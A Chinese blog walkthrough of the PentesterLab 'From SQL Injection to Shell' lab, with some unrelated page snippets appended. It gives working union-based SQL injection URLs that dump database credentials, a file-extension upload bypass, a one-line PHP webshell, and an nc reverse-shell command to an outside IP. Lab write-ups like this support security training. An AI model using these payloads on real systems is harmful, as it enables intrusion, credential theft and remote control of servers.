PentesterLab-From SQL Injection to Shell
一、打开靶机ip出现如下界面:

随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql注入。然后看其他链接,都差不多,直到点到Admin的链接时,出来一个后台。
二、SQL注入先行
既然有id=1,首先看下这个id是字符还是数字,后面加一个 ' 号,出现了Mysql的报错,确认是注入无疑,而且错误提示中只出现了一个 ' ,那看来是数字型了,下面就常规注入:
1、这种靶机一般不会有太多字段,手工从0开始order by一下,直到order by到4的时候报错了,那应该有三个字段
http://192.168.109.131/cat.php?id=2%20order%20by%203
2、开始看下注入点在第几个字段,发现出现在第二个字段
http://192.168.109.131/cat.php?id=2%20and%20select%201,2,3
3、那么就开始爆破库、表
http://192.168.109.131/cat.php?id=2%20union%20select%201,schema_name,3,4%20from%20information_schema.schemata%20limit%201,2
4、爆库过程中发现都是常见的mysql默认库,直到这里发现一个首页字样的库名,库名为photoblog,拿着这个库名看下都有什么表,找到一个users的表
http://192.168.109.131/cat.php?id=2%20union%20select%201,table_name,3,4%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67%20limit%203,4
5、然后看下字段,找到了login和password两个字段
http://192.168.109.131/cat.php?id=2%20union%20select%201,column_name,3,4%20from%20information_schema.columns%20where%20table_schema=0x70686f746f626c6f67%20and%20table_name=0x7573657273%20limit%202,3
6、查看这两个数据,得到用户名密码,md5破解后得到用户名密码:admin:P4ssw0rd
http://192.168.109.131/cat.php?id=2%20union%20select%201,login,3,4%20from%20photoblog.users%20limit%201,2
http://192.168.109.131/cat.php?id=2%20union%20select%201,password,3,4%20from%20photoblog.users%20limit%201,2
7、本来想着能通过注入直接getshell,发现当前用户没有权限,放弃这个思路
http://192.168.109.131/cat.php?id=2%20union%20select%201,%27%3C?php%20phpinfo();%3E%27,3,4%20into%20outfile%20%27/var/www/test.php%27
8、nmap跑了下端口,开了ssh服务,用这个账户登录了,发现进不去,看来系统密码没有被复用
9、回到页面首页,进入后台,输入用户名密码,成功进入后台

显示了很多图片,直接看到new字样,这里有个上传功能
10、随便上传一个php,报错了,提示 NO PHP,看来不能直接上传php,重新改了个后缀名,.php.jpg,上传成功,看来是只检测了后缀名,想到php引擎可以解析php1,php2,php3,这里直接试下php3,上传成功
#webshell脚本
<?php
system($_GET['cmd']);
?>
11、通过该webshell执行nc反弹系统shell,完成该靶机任务
http://192.168.109.131/admin/uploads/function.php3?cmd=/bin/nc%2030.117.75.246%209999%20-e%20/bin/bash
请使用手机"扫一扫"x
PentesterLab-From SQL Injection to Shell的更多相关文章
- [SQL注入1]From SQL injection to Shell
第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...
- [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...
- PentesterLab-From SQL Injection to Shell: PostgreSQL edition
一.打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入 由于PostgreSQL与MySQL不同,几个关注点需要注意下 二.order by下 ...
- SQL注入——SQL Injection
本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html http://www.diybl.com/course/7_ ...
- DVWA SQL Injection 通关教程
SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
随机推荐
- ABP官方文档翻译 1.3 模块系统
ABP模块系统 介绍 模块定义 生命周期方法 PreInitialize Initialize PostInitialize Shutdown 模块依赖 插件系统 ASP.NET Core ASP.N ...
- Swoole学习(三)Swoole之UDP服务器的创建
环境:Centos6.4,PHP环境:PHP7 <?php //创建UCP服务器(UDP服务器相对于TCP服务器通信更可靠些) /** * $host 是swoole需要监听的ip,如果要监听本 ...
- Python3.x:代理ip刷点赞
Python3.x:代理ip刷点赞 声明:仅供为学习材料,不允许用作商业用途: 一,功能: 针对某网站对企业自动刷点赞: 网站:https://best.zhaopin.com/ 二,步骤: 1,获取 ...
- 20145312 《Java程序设计》第2周学习总结
20145312 <Java程序设计>第2周学习总结 教材学习内容总结 1.1类型.变量与运算符 1.1.1类型 1.基本类型 整数:short(2字节).long(8字节).int(4字 ...
- Tomcat热部署,Web工程中线程没有终止
近期项目中,用 jenkins 热部署 web工程时,发现工程中静态持有的线程(将ScheduledExecutorService定时任务存储在静态Map中),导致不定时出现数据库访问事务关闭异常,如 ...
- Objective-C 集成农行支付接口
部分参考代码: [NANetworkHandler POSTWithURL:APP_ABCPay par:dict isStored:NO success:^(id responseObject, B ...
- poj 2187:Beauty Contest(旋转卡壳)
Time Limit: 3000MS Memory Limit: 65536K Total Submissions: 32708 Accepted: 10156 Description Bes ...
- MySQL日常维护
删除MySQL 账号 use mysql delete from user where user='xiewenming'; 授权账号密码 GRANT SELECT,INSERT,UPDATE,DEL ...
- 初入spring boot(七 )Spring Data JPA
Spring Data JPA通过提供基于JPA的Repository极大地减少JPA作为数据访问方案的代码量. 1.定义数据访问层 使用Spring Data JPA建立数据访问层十分简单,只需定义 ...
- 2017 ACM-ICPC 亚洲区(乌鲁木齐赛区)网络赛-A banana·
2017-09-09 16:41:28 writer:pprp 题意很好理解就不说了,实现比较清晰,选择邻接表来做 但是我用的是链表来实现的,所以导致出现了很多问题,最后卡的最长时间的一个问题是 应该 ...